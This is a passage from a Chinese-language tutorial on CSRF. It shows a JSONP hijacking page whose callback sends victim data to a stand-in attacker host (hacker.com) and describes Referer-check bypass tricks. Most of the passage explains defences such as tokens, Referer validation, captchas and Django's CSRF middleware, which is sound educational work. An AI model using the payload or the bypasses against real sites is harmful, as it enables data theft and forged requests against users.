这种远程api接口十分容易受到CSRF攻击,我们可以通过修改callback参数值并添加自定义函数,如: <html> <head></head> <body> <script> function jsonphack(data){ new image().src="http://hacker.com/json.php?data="+escape(data); //将json返回的数据发送到黑客服务器上 } </script> <script src="http://127.0.0.1/1.php?callback=jsonphack"></script> </body> </html> 4) 更多例子
从零开始学CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
前边我们说到,产生CSRF的原因主要有两点,那么我们可以针对这两点进行相应的防御。
1) Token 我们知道CSRF攻击的请求除了Cookie以外,其他的内容必须提前确定好,那么如果我们在服务端要求提交的某一个参数中是随机的值呢?
这里我们称这个随机的、无法被预计的值叫做Token,一般是由服务端在接收到用户端请求后生成,返回给用户的Token通常放置在hidden表单或用户的Cookie里。
当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,如果相匹配才执行相应的操作、销毁原Token以及生成并返回新的Token给用户,这样做不仅仅起到了防御CSRF的作用,还可以防止表单的重复提交。
由于HTML标签产生的合法跨域只能是单向请求,无法通过CSRF直接取返回的内容,所以我们无法使用CSRF先取Token值再构造请求,这使得Token可以起到防御CSRF的作用。
注意Token不应该放置在网页的Url中,如果放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现作为Referer发送给外部服务器,以下为相关实例:
WooYun-2015-136903
2) Referer 前边我们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,使用我们可以根据这点来防御CSRF。
在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。
不过此方法有时也存在着一定的漏洞,比如可绕过等,所以最好还是使用Token。
判断Referer的一般方法就是利用正则进行判断,而判断Referer的正则一定要写全,不然就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是由于Referer的正则不规范导致。
比如^http\:\/\/a\.com,只验证了是否Referer是否以开头,可是没想到我们可以在自己的顶级域名添加一个子域名;还有http\:\/\/a\.com\/,通过?http://a.com/绕过。以下相关例子均为Referer绕过:
WooYun-2015-164067
WooYun-2015-165578
WooYun-2016-166608
WooYun-2016-167674
有些网站由于历史原因会允许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,可以达到空Referer的目的。
在发送请求前先需要输入基于服务端判断的验证码,机制与Token类似,防御CSRF效果非常好,不过此方法对用户的友好度很差。
4) 关注点关于CSRF的防护应首先关注高危操作的请求,比如:网上转账、修改密码等,其次应重点关注那些可以散播的,比如:分享链接、发送消息等,再者是能辅助散播的,如取用户好友信息等,因为前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,可是也不可小觑。最后应关注那些高权限账户能够进行的特权操作,如:上传文件、添加管理员,在许多渗透测试中,便是起初利用这点一撸到底。
5) 防御实例:Django的CSRF防御机制 新建个Django项目,打开项目下的settings.py文件,可以看到这么一行代码:django.middleware.csrf.CsrfViewMiddleware
这个就是Django的CSRF防御机制,当我们发送POST请求时Django会自动检测CSRF_Token值是否正确。我们把Debug打开,可以看到如果我们的POST请求无CSRF_Token这个值,服务端会返回403报错。
现在我们往表单上添加CSRF_Token的验证: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="/login/" method="post"> {% raw %}{{% endraw %}% csrf_token %} //添加Token <input type="text" /> <input type="text" /> <input type="submit" value="登陆" /> </form> </body> </html>